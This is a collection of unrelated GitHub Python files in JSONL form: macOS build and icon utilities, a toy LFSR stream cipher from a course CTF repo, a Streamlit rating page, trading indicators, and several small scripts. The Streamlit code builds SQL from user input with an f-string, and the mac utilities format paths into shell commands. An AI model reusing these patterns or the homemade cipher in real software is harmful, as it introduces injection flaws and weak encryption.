    raise Exception(\"remove {} is error \".format(dp))\n\n\ndef copyF2D(fp, to_dp):\n    if not os.path.islink(fp):\n        if not os.path.exists(fp):\n            print('fp={} is not exists'.format(fp))\n            return False\n\n    if not os.path.exists(to_dp):\n        print('to_dp={} is not exists'.format(to_dp))\n        return False\n    cmd = 'cd \\'{}\\';cp -a \\'{}\\' ./'.format(to_dp, fp)\n    zwutil.run_cmd(cmd)\n    return True\n\n\ndef createDs(root_dp, childs_dp):\n    dp = os.path.join(root_dp, childs_dp)\n    if os.path.exists(dp):\n        return dp\n    if not os.path.exists(root_dp):\n        print('root_dp={} is not exists'.format(root_dp))\n        return ''\n    cmd = 'cd \\'{}\\';mkdir - \\'{}\\''.format(root_dp, childs_dp)\n    zwutil.run_cmd(cmd)\n    return dp\n\n\ndef getDirname(dp):\n    if not os.path.exists(dp):\n        print('dp={} is not exists'.format(dp))\n        return \"\"\n    p_dp = os.path.dirname(dp)\n    index = 1\n    if p_dp == '/':\n        index = 0\n    return dp[len(p_dp) + index:]\n\n\ndef getFiles(dp, subffix_list, ignore_list, deep=True):\n    res_list = []\n    for obj in subffix_list:\n        obj_list = zwutil.getFileNamePaths(dp, obj, deep)\n        for fp, name in obj_list:\n            ignore = False\n            for ig in ignore_list:\n                if ig in fp:\n                    ignore = True\n                    break\n            if ignore:\n                continue\n            res_list.append((fp, name))\n    return res_list\n\n\ndef adjuestLibToRpath(fp, exists_name_list):\n\n    obj_list = getLibDeps(fp)\n    for obj in obj_list:\n        if 'MacOS/XuanLive' in fp:\n            print(\"obj.lib_path={}==============\".format(obj.lib_path))\n\n        if '@rpath/Qt' in obj.lib_path:\n            continue\n        if '@rpath/AgoraRtcKit.framework/AgoraRtcKit' in obj.lib_path:\n            continue\n        if isSystemPath(obj.lib_path):\n            continue\n        new = '@rpath/{}'.format(obj.lib_name)\n        if new == obj.lib_path:\n            continue\n        changeDPath(fp, obj.lib_path, new)\n\n\ndef adjuestLibs(dp):\n    obj_list = []\n    for obj in ['.so', '.dylib']:\n        obj_list += zwutil.getFileNamePaths(dp, obj, False)\n\n    exists_name_list = []\n    for fp, name in obj_list:\n        if not name in exists_name_list:\n            exists_name_list.append(name)\n        else:\n            print(\"name is repeat========todo\")\n\n    for fp, name in obj_list:\n        adjuestLibToRpath(fp, exists_name_list)\n        adjuestRapth(fp, ['@loader_path/'])\n\n\ndef getCmdFilePath(cmd, check=False):\n    res = zwutil.run_cmd('which {}'.format(cmd))\n    fp = res.split('\\n')[0]\n    if check:\n        checkPathWithRaise(fp)\n    return fp\n\n\ndef checkPathWithRaise(fp):\n    if not os.path.exists(fp):\n        error_string = 'path not exists \\'{}\\''.format(fp)\n        print('error_string={}'.format(error_string))\n        raise Exception(error_string)\n\n\ndef joinPath(parent_dp, child_dp, check=False):\n    dp = os.path.join(parent_dp, child_dp)\n    if check:\n        checkPathWithRaise(dp)\n    return dp\n\n\ndef joinPathWithRaise(parent_dp, child_dp):\n    dp = os.path.join(parent_dp, child_dp)\n    checkPathWithRaise(dp)\n    return dp\n\ndef get_file_name(path_string):\n    pattern = re.compile(r'([^<>/\\\\\\|:\"\"\\*\\?]+)\\.\\w+$')\n    data = pattern.findall(path_string)\n    if data:\n        return data[0]\n\ndef createICNS(fp,out_dp):\n    checkPathWithRaise(fp)\n    # fn = getDirname(fp)\n    fn = get_file_name(fp)\n    name = \"{}.iconset\".format(fn)\n    temp_dp = createDs(out_dp,name)\n    checkPathWithRaise(temp_dp)\n    # copyF2D(fp,temp_dp)\n    size = 16\n    while size <= 1024:\n        cmd = (\"cd \\\"{0}\\\";sips -z {1} {1} \\\"{2}\\\" --out \\\"{3}/icon_{1}x{1}.png\\\"\".format(out_dp,size,fp,temp_dp))\n        zwutil.run_cmd(cmd)\n        cmd = (\"cd \\\"{0}\\\";sips -z {1} {1} \\\"{2}\\\" --out \\\"{3}/icon_{1}x{1}@2x.png\\\"\".format(out_dp,size,fp,temp_dp))\n        zwutil.run_cmd(cmd)\n        size = size * 2\n\n    cmd = (\"cd \\\"{0}\\\";iconutil -c icns {1} -o {2}.icns\".format(out_dp,name,fn))\n    zwutil.run_cmd(cmd)\n    deleteDP(temp_dp)\n\nif __name__ == \"__main__\":\n    createICNS('/Users/miao/Pictures/1024.png',\"/Users/miao/Pictures\")\n","repo_name":"weinkym/src_miao","sub_path":"python/qt_project/mac_utils.py","file_name":"mac_utils.py","file_ext":"py","file_size_in_byte":8751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24321708031","text":"from collections import defaultdict\nimport numpy as np\n\nclass DataLoader:\n    def __init__(self):\n        self.chars = set()\n        lines = []\n        for l in open('./kaomojis'):\n            self.chars |= set(l[:-1])\n            lines.append(l[:-1])\n\n        self.char_to_idx = { c:i for i,c in enumerate(self.chars) }\n        self.idx_to_char = { i:c for i,c in enumerate(self.chars) }\n            \n        self.char_vecs = []\n        words_num = len(self.chars)\n        for line in lines:\n            char_vec = [self.char_to_idx[c] for c in line]\n            input_vec = [self._one_hot_vec(words_num+1, idx) for idx in char_vec]            \n            output_vec = [self._one_hot_vec(words_num+1, idx) for idx\n                          in char_vec[1:] + [words_num]]\n            self.char_vecs.append((input_vec, output_vec))\n\n    def _one_hot_vec(self, length, char_idx):\n        vec = np.zeros((length, 1))\n        vec[char_idx] = 1.0\n        return vec\n\n\n","repo_name":"yustoris/kaomoji_with_rnn","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13077930365","text":"import random\nimport util\nimport pickle\nimport copy\nfrom encdec import*\n\nclass Stream(EncryptorDecryptor):\n     \"\"\"\n     Implemtation of EncryptorDecryptor that provides homophonic ciphers\n     @author jiachenz\n     \"\"\"\n     def __init__(self):\n          \"\"\"\n          Init empty keys\n          \"\"\"\n          self.__key = []\n          self.__inv_key =[]\n          \n     def __generate_inv_key(self):\n         \"\"\"\n         Generate the inverse key to decrypt\n         \"\"\"\n         \n         self.__inv_key = self.__key\n         return self.__inv_key\n         \n     def set_key(self,key):\n         self.__key = copy.copy(key)\n         self.__inv_key = []\n         self.__generate_inv_key()\n\n     def encrypt(self, plaintext):\n         key = copy.copy(self.__key)\n         ciphers = []\n         for x in range(0,plaintext.__len__()*8):\n               itemInsert = ((((key[0] ^ key[2]) ^ key[3]) ^ key[5]) ^ key[15])\n               fallOut = key.pop()\n               ciphers.append(fallOut)\n               key.insert(0, itemInsert)\n         out = \"\"\n         self.__key = key\n         position = plaintext.__len__() * 8 - 1\n         for c in plaintext:\n                 num = 0\n                 for i in range(0,8):\n                     num +=  ciphers[position-i] * 2 ** (7-i) \n                 position = position - 7\n                 out += (chr(ord(c) ^ num))\n         return out\n\n     def decrypt(self, ciphertext):\n         inv_key = copy.copy(self.__inv_key)\n         deciphers = []\n         for x in range(0,ciphertext.__len__()*8):\n               itemInsert = ((((inv_key[0] ^ inv_key[2]) ^ inv_key[3]) ^ inv_key[5]) ^ inv_key[15])\n               fallOut = inv_key.pop()\n               deciphers.append(fallOut)\n               inv_key.insert(0, itemInsert)\n               \n         self.__inv_key = inv_key\n         out = \"\"\n         position = ciphertext.__len__() * 8 - 1\n         for c in ciphertext:\n                 num = 0\n                 for i in range(0,8):\n                     num +=  deciphers[position-i] * 2 ** (7-i) \n                 position = position - 7\n                 out += (chr(ord(c) ^ num))\n         return out\n\n     def generate_key(self, args): \n         key = []\n         for i in range(0,16):\n             key.append(random.randint(0,1))\n         \n         return key\n\n\n     def dump_key(self, filename):\n         with open(filename, \"w\") as f:\n             pickle.dump(self.__key, f)\n         \n     def load_key(self, filename):\n         with open(filename, \"r\") as f:\n             self.__key = pickle.load(f)\n         self.__generate_inv_key()\n\nif __name__ == \"__main__\":\n  s = Stream()\n  s.run_from_command_line()\n","repo_name":"gerow/cs499-security-systems-ctf01","sub_path":"encdec_streamcipher.py","file_name":"encdec_streamcipher.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18987844137","text":"# coding: utf-8\nimport os\nfrom setuptools import setup\nimport bitbutter\n\nREADME = open(os.path.join(os.path.dirname(__file__), 'PYPIREADME.rst')).read()\nREQUIREMENTS = [\n    line.strip() for line in open(\n        os.path.join(os.path.dirname(__file__), 'requirements.txt')\n    ).readlines()\n]\n\nsetup(\n    name='chainbridge',\n    version=bitbutter.__version__,\n    packages=['bitbutter'],\n    include_package_data=True,\n    license='MIT',\n    description='Bitbutter API client library',\n    long_description=README,\n    long_description_content_type='text/x-rst',\n    url='https://github.com/polyledger/chainbridge/',\n    download_url='https://github.com/polyledger/chainbridge/tarball/%s'\n        % (bitbutter.__version__),\n    keywords=['api', 'bitbutter', 'client'],\n    install_requires=REQUIREMENTS,\n    author='Matthew Rosendin',\n    author_email='matthew@polyledger.com',\n    classifiers=[\n          'Intended Audience :: Developers',\n          'License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0)',\n          'Operating System :: OS Independent',\n          'Programming Language :: Python :: 3.4',\n          'Programming Language :: Python :: 3.5',\n          'Programming Language :: Python :: 3.6',\n          'Programming Language :: Python',\n          'Topic :: Software Development :: Libraries :: Python Modules',\n    ],\n)\n","repo_name":"polyledger/bitbutter-python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"4645154364","text":"import time\r\nimport numpy as np\r\n\r\n\r\ndef dp_solve(domain_x, domain_u, a, b, delta_t, lamb=2, N=2, step=0.5, use_dp=True):\r\n    j_star = {}\r\n    u_star = {}\r\n    for x in np.arange(domain_x[0], domain_x[1] + 0.1, step):\r\n        if use_dp:\r\n            val = get_last_optimum(x, domain_x, domain_u, a, step, lamb, j_star, u_star, N)\r\n        else:\r\n            val = get_last_optimum(x, domain_x, domain_u, a, step, lamb, j_star, u_star, N)\r\n        print(val)\r\n    return j_star, u_star\r\n\r\n\r\ndef get_last_optimum(x, domain_x, domain_u, a, step, lamb, j_star, u_star, N, use_dp=True):\r\n    best_cost = float(\"inf\")\r\n    best_u = None\r\n    # key = \"x(\" + str(N) + \") = \" + str(x) + \", J*[\" + str(N-1) + \":end]\" + \"(\" + str(x) + \")\"\r\n    key = (N - 1, round(x, 4))\r\n    if use_dp and key in j_star.keys():\r\n        return j_star[key]\r\n\r\n    for u in np.arange(domain_u[0], domain_u[1] + 0.1, step):\r\n        next_state = (1 + a) * x + u\r\n        if N == 1:\r\n            new_cost = next_state ** 2 + lamb * u ** 2\r\n        else:\r\n            new_cost = lamb * u ** 2 + get_last_optimum(\r\n                next_state,\r\n                domain_x,\r\n                domain_u,\r\n                a,\r\n                step,\r\n                lamb,\r\n                j_star,\r\n                u_star,\r\n                N - 1,\r\n                use_dp,\r\n            )\r\n        if new_cost <= best_cost:\r\n            best_cost = new_cost\r\n            best_u = u\r\n\r\n    j_star[key] = best_cost\r\n    u_star[key] = best_u\r\n\r\n    return j_star[key]\r\n","repo_name":"NickDeGroote/OptimalControl","sub_path":"Assignment4/dp_solve.py","file_name":"dp_solve.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1512931642","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time,sys\n\nif len(sys.argv)<2:\n    print('a number needed!')\nelse:\n    s = 0\n    for i in range(1,int(sys.argv[1])+1):\n        s = s + i\n    print(s)\n\n","repo_name":"hongmaodan/learnpy","sub_path":"get_sum.py","file_name":"get_sum.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72518136376","text":"import streamlit as st\nimport pandas as pd\nimport mysql.connector as mysql\nimport all_func\nfrom statistics import mean\n\ndef app(selected, pilihNama, conn):\n    st.title(selected)\n\n    # READ DATA HASIL PENILAIAN\n    df_hasil = pd.read_sql(f'SELECT * FROM data_penilaian WHERE nama_ternilai = \"{pilihNama}\"', con=conn)\n    df_hasil = df_hasil[~df_hasil['p5'].isna()]\n\n    # st.table(df_hasil)\n\n    if len(df_hasil) == 0:\n        st.warning('Belum ada penilaian tentang anda.')\n    else:\n        rerata_p1 = mean(df_hasil['p1'].astype(int).to_list())\n        rerata_p2 = mean(df_hasil['p2'].astype(int).to_list())\n        rerata_p3 = mean(df_hasil['p3'].astype(int).to_list())\n        rerata_p4 = mean(df_hasil['p4'].astype(int).to_list())\n        rerata_p5 = mean(df_hasil['p5'].astype(int).to_list())\n        # list_p5 = df_hasil['p5'].to_list()\n        # list_p6 = df_hasil['p6'].to_list()\n\n        st.write(f'1. Nasionalisme: {rerata_p1}')\n        st.write('')\n        st.write(f'2. pengabdian dan dedikasi: {rerata_p2}')\n        st.write('')\n        st.write(f'3. Komitmen: {rerata_p3}')\n        st.write('')\n        st.write(f'4. Inovatif: {rerata_p4}')\n        st.write('')\n        st.write(f'5. Antusias: {rerata_p5}')\n        # for isi in list_p5:\n        #     st.write(f'- {isi}')\n        # st.write('')\n        # st.write(f'6. Saran dan masukan:')\n        # for isi in list_p6:\n        #     st.write(f'- {isi}')","repo_name":"satriabagsp/dapscan_if","sub_path":"Apps/hasil.py","file_name":"hasil.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15334695023","text":"#!/usr/bin/python3\n\"\"\"Define a class Square.\"\"\"\n\n\nclass Square:\n    \"\"\"Represent square.\"\"\"\n\n    def __init__(self, size=0, position=(0, 0)):\n        \"\"\"Init a Square.\n        Args:\n            size (int): The size of the new square.\n            position (int, int): The position of the new square.\n        \"\"\"\n        self.size = size\n        self.position = position\n\n    @property\n    def size(self):\n        \"\"\"Get/set the current size of the square.\"\"\"\n        return (self.__size)\n\n    @size.setter\n    def size(self, value):\n        \"\"\"Get/set for the size private attribute\"\"\"\n        if type(value) is not int:\n            raise TypeError(\"size must be an integer\")\n        elif value < 0:\n            raise ValueError(\"size must be >= 0\")\n        else:\n            self.__size = value\n\n    @property\n    def position(self):\n        \"\"\"Get/set the current  of the square.\"\"\"\n        return self.__position\n\n    @position.setter\n    def position(self, value):\n        if (len(value) != 2) or (type(value) is not tuple) \\\n                or (type(value[0]) is not int) \\\n                or (type(value[1]) is not int) \\\n                or (value[0] < 0) or (value[1] < 0):\n            raise TypeError(\"position must be a tuple of two positive integers\")\n        else:\n            self.__position = value\n\n    def area(self):\n        \"\"\"Return the area of the square.\"\"\"\n        return self.__size * self.__size\n\n    def my_print(self):\n        \"\"\"Print a square with the # character.\"\"\"\n        if self.__size == 0:\n            print(\"\")\n        else:\n            for i in range(self.__position[1]):\n                print()\n            for j in range(self.size):\n                print(\" \" * self.__position[0], end='')\n                print(\"#\" * self.__size)\n\n    def __str__(self):\n        \"\"\"Define the print() representation of a Square.\"\"\"\n        if self.__size != 0:\n            [print(\"\") for i in range(0, self.__position[1])]\n        for i in range(0, self.__size):\n            [print(\" \", end=\"\") for j in range(0, self.__position[0])]\n            [print(\"#\", end=\"\") for k in range(0, self.__size)]\n            if i != self.__size - 1:\n                print(\"\")\n        return \"\"\n","repo_name":"CGUltimateno/alx-higher_level_programming","sub_path":"0x06-python-classes/101-square.py","file_name":"101-square.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8756571708","text":"import urllib.request\nimport urllib.parse\n\n\nurl='http://appex.cn.bing.com/'\nuser_agent=r'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.5.2000 Chrome/30.0.1599.101 Safari/537.36'\nhead={'User_Agent':user_agent}\nreq=urllib.request.Request(url,headers=head)\nresponse=urllib.request.urlopen(req)\nmainpage=response.read().decode('UTF8')\nimport re\npic=re.search(r\"'http://s.cn.bing.net/az/hprichbg/rb/(.{1,100}\\..{2,5})'\",mainpage)\nprint(pic.group(1))\nurl=pic.group(0)[1:len(pic.group(0))-1]\nlocalfile=\"D:\\wallpapers\\\\\"\nlocalfile=localfile+pic.group(1)\nurllib.request.urlretrieve(url,localfile)\nimport ctypes\ndll = ctypes.windll.LoadLibrary( 'User32' )\nSPI_SETDESKWALLPAPER=0x0014\nSPIF_UPDATEINIFILE=0x01\ndll.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, localfile, SPIF_UPDATEINIFILE) \n","repo_name":"xchank/BingPic","sub_path":"bingpic.py","file_name":"bingpic.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34104877665","text":"import numpy as np\nimport ta\nimport mplfinance as mpf\n\ndef normalize(data):\n    max_value = data.max()\n    min_value = data.min()\n    # data = (data - min_value) / (max_value - min_value)\n    if(min_value > 0):\n        data = ((data - min_value) / (max_value - min_value))\n    elif(min_value < 0):\n        data = ((data + min_value) / (max_value - min_value))\n    else:\n        data = (data / max_value)\n    return data\n\ndef WMA(s, period):\n       return s.rolling(period).apply(lambda x: ((np.arange(period)+1)*x).sum()/(np.arange(period)+1).sum(), raw=True)\n\ndef HMA(s, period):\n       return WMA(WMA(s, period//2).multiply(2).sub(WMA(s, period)), int(np.sqrt(period)))\n\ndef SMA(s, period): # This causes errors for some reason\n    return s.rolling(window=140, min_periods=1).mean()\n\ndef define_hull(df):\n    df['hma9'] = HMA(df['Close'],9)\n    df['hma140'] = HMA(df['Close'],140)\n    df['hma200'] = HMA(df['Close'],200)\n    df['hma500'] = HMA(df['Close'],500)\n\n    return df\n\ndef define_risk(df):\n    df['sma50_'] = df['Close'].rolling(window=50, min_periods=1).mean()\n    df['sma350_'] = df['Close'].rolling(window=350, min_periods=1).mean()\n    # indicator_50sma = ta.trend.sma_indicator(close=df[\"Close\"], window=50)\n    # indicator_350sma = ta.trend.sma_indicator(close=df[\"Close\"], window=350)\n    # df['risk'] = normalize(df['risk'])    # NOT normalized for now\n    df['sma50'] = ta.trend.sma_indicator(close=df[\"Close\"], window=50)\n    df['sma350'] = ta.trend.sma_indicator(close=df[\"Close\"], window=350)\n    df['risk'] = df['sma50']/df['sma350'] # 'risk' \n\n\n    df['hma50'] = HMA(df['Close'],50)\n    df['hma350'] = HMA(df['Close'],350)\n    df['hrisk'] = df['hma50']/df['sma350']   \n    # df['hrisk'] = normalize(df['hrisk'])  # NOT normalized for now\n    return df\n\ndef define_risk_dif(df): # Is this a measure of momentum?\n    df['riskdif'] = df['risk'] - df['hrisk']\n    df['0'] = (df['riskdif'] * 0)\n    df['difcrossover'] = np.where((df['riskdif'] > 0) & (df['riskdif'].shift(1) <= 0), df['Close'] * 1, np.nan)\n    df['difcrossunder'] = np.where((df['riskdif'] < 0) & (df['riskdif'].shift(1) >= 0), df['Close'] * 1, np.nan)\n    return df\n\ndef define_risk_ribbon(_df):\n    _length = 200\n    _risk_ma_length = 200\n    # _df['riskma'] = _df['risk'].rolling(_risk_ma_length).mean()\n    risk_std_dev = _df['risk'].rolling(_risk_ma_length).std()\n    rband1 = ta.volatility.BollingerBands(close=_df['risk'], window=_length, window_dev=1)\n    rband175 = ta.volatility.BollingerBands(close=_df['risk'], window=_length, window_dev=1.75)\n    rband25 = ta.volatility.BollingerBands(close=_df['risk'], window=_length, window_dev=2.5)\n    rband29 = ta.volatility.BollingerBands(close=_df['risk'], window=_length, window_dev=2.9)\n    # _df['riskma'] = ta.trend.sma_indicator(close=_df['risk'], window=_risk_ma_length)\n    _df['riskma'] = rband1.bollinger_mavg()\n    # _df['1rdevlower'] = _df['riskma'] - (1 * risk_std_dev)\n    # _df['175rdevlower'] = _df['riskma'] - (1.75 * risk_std_dev)\n    # _df['25rdevlower'] = _df['riskma'] - (2.5 * risk_std_dev)\n    _df['1rdevlower'] = rband1.bollinger_lband()\n    _df['175rdevlower'] = rband175.bollinger_lband()\n    _df['25rdevlower'] = rband25.bollinger_lband()\n\n    _df['1rdevupper'] = rband1.bollinger_hband()\n    _df['25rdevupper'] = rband25.bollinger_hband()\n    _df['29rdevupper'] = rband29.bollinger_hband()\n\n    _df['riskbuycrossover1'] = np.where((_df['risk'] > _df['25rdevlower']) & (_df['risk'].shift(1) <= _df['25rdevlower'].shift(1)), _df['Close'] * 1, np.nan)\n    _df['risksellcrossunder1'] = np.where((_df['risk'] < _df['29rdevupper']) & (_df['risk'].shift(1) >= _df['29rdevupper'].shift(1)), _df['Close'] * 1, np.nan)\n    # _df['1rdevupper'] = _df['riskma'] + (1 * risk_std_dev)\n    # _df['25rdevupper'] = _df['riskma'] + (2.5 * risk_std_dev)\n    \n    # _df['29rdevupper'] = _df['hrisk'] + (2.9 * _df['risk'].rolling(_length).std())        # This is kind of interesting, maybe I should look into it\n    # _df['25rdevlower'] = _df['hrisk'] - (2.5 * _df['risk'].rolling(_length).std())\n    return _df\n\ndef define_risk_scatter(df,ticker):\n    if(ticker == 'SPY'):\n        bbound1 = 0.7\n        bbound2 = 0.6\n        sbound1 = 0.8\n        sbound2 = 0.91\n        hbbound1 = 0.5\n        hsbound1 = 0.9\n    elif(ticker == 'BTC-USD'):\n        bbound1 = 0.35\n        bbound2 = 0.24\n        sbound1 = 0.75\n        sbound2 = 0.8\n\n        hbbound1 = 0.2\n        hsbound1 = 0.6\n    else:\n        bbound1 = 0.4\n        bbound2 = 0.3\n        sbound1 = 0.90\n        sbound2 = 0.8\n        hbbound1 = 0.3\n        hsbound1 = 0.85\n    df['BuySignal1'] = np.where(df['risk'] < bbound1, df['Close'] * 1, np.nan)\n    df['BuySignal2'] = np.where(df['risk'] < bbound2, df['Close'] * 1, np.nan)\n    df['SellSignal1'] = np.where(df['risk'] > sbound1, df['Close'] * 1, np.nan)\n    df['SellSignal2'] = np.where(df['risk'] > sbound2, df['Close'] * 1, np.nan)\n\n    df['HBuySignal1'] = np.where(df['hrisk'] < hbbound1, df['Close'] * 1, np.nan)\n    df['HSellSignal1'] = np.where(df['hrisk'] > hsbound1, df['Close'] * 1, np.nan)\n    return df\n\ndef define_sma(df):\n    df['sma20'] = df['Close'].rolling(window=20, min_periods=1).mean()\n    df['sma140'] = df['Close'].rolling(window=140, min_periods=1).mean()\n    df['sma200'] = df['Close'].rolling(window=200, min_periods=1).mean()\n    return df\n\ndef define_ma_ext(df):\n    df['sma140'] = SMA(df['Close'], 140)\n    df['ext'] = ((df['Close'] - df['sma140']) / df['sma140']) * 100\n    df['E0'] = (df['Close'] * 0)\n    df['ext'] = normalize(df['ext'])\n    return df\n\ndef intersection(lst1, lst2): # Returns the intersection of two lists\n    return list(set(lst1) & set(lst2))\n\ndef define_indicators(_ticker, _df, _indicators):\n    reqSMA = ['sma', 'ext', 'risk', 'riskscatter', 'riskdif', 'riskribbon'] # SMA (simple moving average)\n    if(len(intersection(reqSMA, _indicators)) > 0): # Check to see if the two lists have any shared members\n        _df = define_sma(_df)\n    reqHULL = ['hull', 'risk', 'riskscatter', 'riskdif', 'riskribbon']\n    if(len(intersection(reqHULL, _indicators)) > 0):\n        _df = define_hull(_df)\n    reqEXT = ['ext']\n    if(len(intersection(reqEXT, _indicators)) > 0):\n        _df = define_ma_ext(_df)\n    reqRISK = ['risk', 'riskscatter', 'riskdif', 'riskribbon'] # risk - plots two lines each derrived from the quotient of (short term MA / long term MA)\n    if(len(intersection(reqRISK, _indicators)) > 0): # The quoteients are normalized to a scale of 0-1, low values represent low instantaneous risk\n        _df = define_risk(_df)\n        if(('riskscatter' in _indicators)):\n            _df = define_risk_scatter(_df, _ticker)\n        if('riskdif' in _indicators):\n            _df = define_risk_dif(_df)\n        if('riskribbon' in _indicators):\n            _df = define_risk_ribbon(_df)\n    return _df\n\ndef add_indicators(_ticker, _df, _indicators):\n    panels = 1\n    _adps = [] # Indicators: risk riskscatter riskdif sma ext hull\n               # Eventually I should make them customizable, ie sma:9, hull:500 riskscatter:0.2,0.9\n    if('sma' in _indicators): # Check to see if reqSMA (str list) and _indicators (string) have any shared members\n        _adps.append(mpf.make_addplot(_df['sma20']))\n        _adps.append(mpf.make_addplot(_df['sma140']))\n        _adps.append(mpf.make_addplot(_df['sma200']))\n    if('hull' in _indicators):\n        _df = define_hull(_df)\n        # _adps.append(mpf.make_addplot(_df['hma9'],color='#adff2f'))\n        _adps.append(mpf.make_addplot(_df['hma140'],color='#adff2f'))\n        _adps.append(mpf.make_addplot(_df['hma200'],color='#adff2f'))\n        # _adps.append(mpf.make_addplot(_df['hma500'],color='#adff2f')) For some reason, HMA() only uses df_sub. I think it has something to do with\n    if('ext' in _indicators):                                                                                                       #df[].rolling()\n        _adps.append(mpf.make_addplot(_df['ext'],color='#adff2f', panel=panels))\n        # _adps.append(mpf.make_addplot(_df['E0'], panel=panels))\n        # _adps.append(mpf.make_addplot(_df['0'], color='#0000ff',panel=panels))\n        panels = panels + 1\n    if('risk' in _indicators):\n        _adps.append(mpf.make_addplot(_df['risk'], color='#ff5500', panel=panels)) # while high values represent high instantaneous risk. The\n        _adps.append(mpf.make_addplot(_df['hrisk'], color='#adff2f',panel=panels)) # directionality of the risk plot (its derivative) is likewise\n        _adps.append(mpf.make_addplot(_df['sma50'], color='#adff2f',panel=0))\n        _adps.append(mpf.make_addplot(_df['sma350'], color='#ff5500', panel=0))\n\n        panels = panels + 1\n    if('riskribbon' in _indicators):\n        if(_df['risk'].isnull().all() == False):\n            _adps.append(mpf.make_addplot(_df['risk'], color='#f3ff35', panel=panels)) # while high values represent high instantaneous risk. The\n            # _adps.append(mpf.make_addplot(_df['hrisk'], color='#adff2f',panel=panels)) # directionality of the risk plot (its derivative) is likewise\n            _adps.append(mpf.make_addplot(_df['1rdevlower'], color='#bcbcbc', panel=panels))\n            _adps.append(mpf.make_addplot(_df['175rdevlower'], color='#2191EB', panel=panels))\n            _adps.append(mpf.make_addplot(_df['25rdevlower'], color='#2191EB', panel=panels))        \n            _adps.append(mpf.make_addplot(_df['riskma'], color='#acbcbc', panel=panels))\n            _adps.append(mpf.make_addplot(_df['1rdevupper'], color='#bcbcbc', panel=panels))\n            _adps.append(mpf.make_addplot(_df['25rdevupper'], color='#2191EB', panel=panels))\n            _adps.append(mpf.make_addplot(_df['29rdevupper'], color='#2191EB', panel=panels))\n\n            if(_df['riskbuycrossover1'].isnull().all() == False):\n                _df['buyline'] = _df['riskbuycrossover1'].dropna().mean()\n                _adps.append(mpf.make_addplot(_df['buyline'], color='#febf01', panel=0))\n                _adps.append(mpf.make_addplot(_df['riskbuycrossover1'], color='#febf01',type=\"scatter\", panel=0))\n            if(_df['risksellcrossunder1'].isnull().all() == False):\n                _df['sellline'] = _df['risksellcrossunder1'].dropna().mean()\n                _adps.append(mpf.make_addplot(_df['sellline'], color='#adff2f', panel=0))\n                _adps.append(mpf.make_addplot(_df['risksellcrossunder1'], color='#adff2f',type=\"scatter\", panel=0))\n\n    if(('riskscatter' in _indicators)): # Buy/Sell scatter plot\n        # SMA calculated risk signals\n        # _adps.append(mpf.make_addplot(_df['BuySignal1'] * 0.96,type=\"scatter\", color=['#00aa00']))\n        # _adps.append(mpf.make_addplot(_df['BuySignal2'] * 0.96,type=\"scatter\", color=['#005500']))\n        # _adps.append(mpf.make_addplot(_df['SellSignal1'] * 1.04,type=\"scatter\", color=['#ff0000']))\n        # _adps.append(mpf.make_addplot(_df['SellSignal2'] * 1.04,type=\"scatter\", color=['#8a0000']))\n        # HMA calculated risk signals\n        if(_df['HBuySignal1'].isnull().all() == False):\n            _adps.append(mpf.make_addplot(_df['HBuySignal1'] * 0.96,type=\"scatter\", color=['#00aa00']))\n        if(_df['HSellSignal1'].isnull().all() == False):\n            _adps.append(mpf.make_addplot(_df['HSellSignal1'] * 1.04,type=\"scatter\", color=['#ff0000']))\n    if('riskdif' in _indicators):\n        _adps.append(mpf.make_addplot(_df['riskdif'], color='#febf01',panel=panels)) # Riskdif plots a point whenver the two different risk \n        if(_df['difcrossover'].isnull().all() == False):\n            _adps.append(mpf.make_addplot(_df['difcrossover'],type=\"scatter\", color=['#febf01'])) # measurments cross (on their individually\n            _adps.append(mpf.make_addplot(_df['0'], panel=panels))\n        if(_df['difcrossunder'].isnull().all() == False):\n            _adps.append(mpf.make_addplot(_df['difcrossunder'],type=\"scatter\", color=['#adff2f'])) # normalized scales)\n        panels = panels + 1\n    \n    return _adps","repo_name":"ZachZimm/pytrade","sub_path":"strategy_handler.py","file_name":"strategy_handler.py","file_ext":"py","file_size_in_byte":11919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25770098268","text":"def group_anagrams(strs):\n\ttemp = []\n\tfor word in strs:\n\t\ttemp.append(''.join(sorted(word)))\n\n\tdic = {}\n\tfor word in temp:\n\t\tdic[word]=[]\n\n\tfor word in strs:\n\t\titem = ''.join(sorted(word))\n\t\tif item in dic:\n\t\t\tdic.get(item).append(word)\n\t\n\tans = []\n\tfor k,v in dic.items():\n\t\tans.append(v)\n\tprint(ans)\n\n\ndef main():\n\tstrs = [\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]\n\tgroup_anagrams(strs)\n\nif __name__ == '__main__':\n\tmain()","repo_name":"sameerkitkat/potd","sub_path":"group_anagrams.py","file_name":"group_anagrams.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
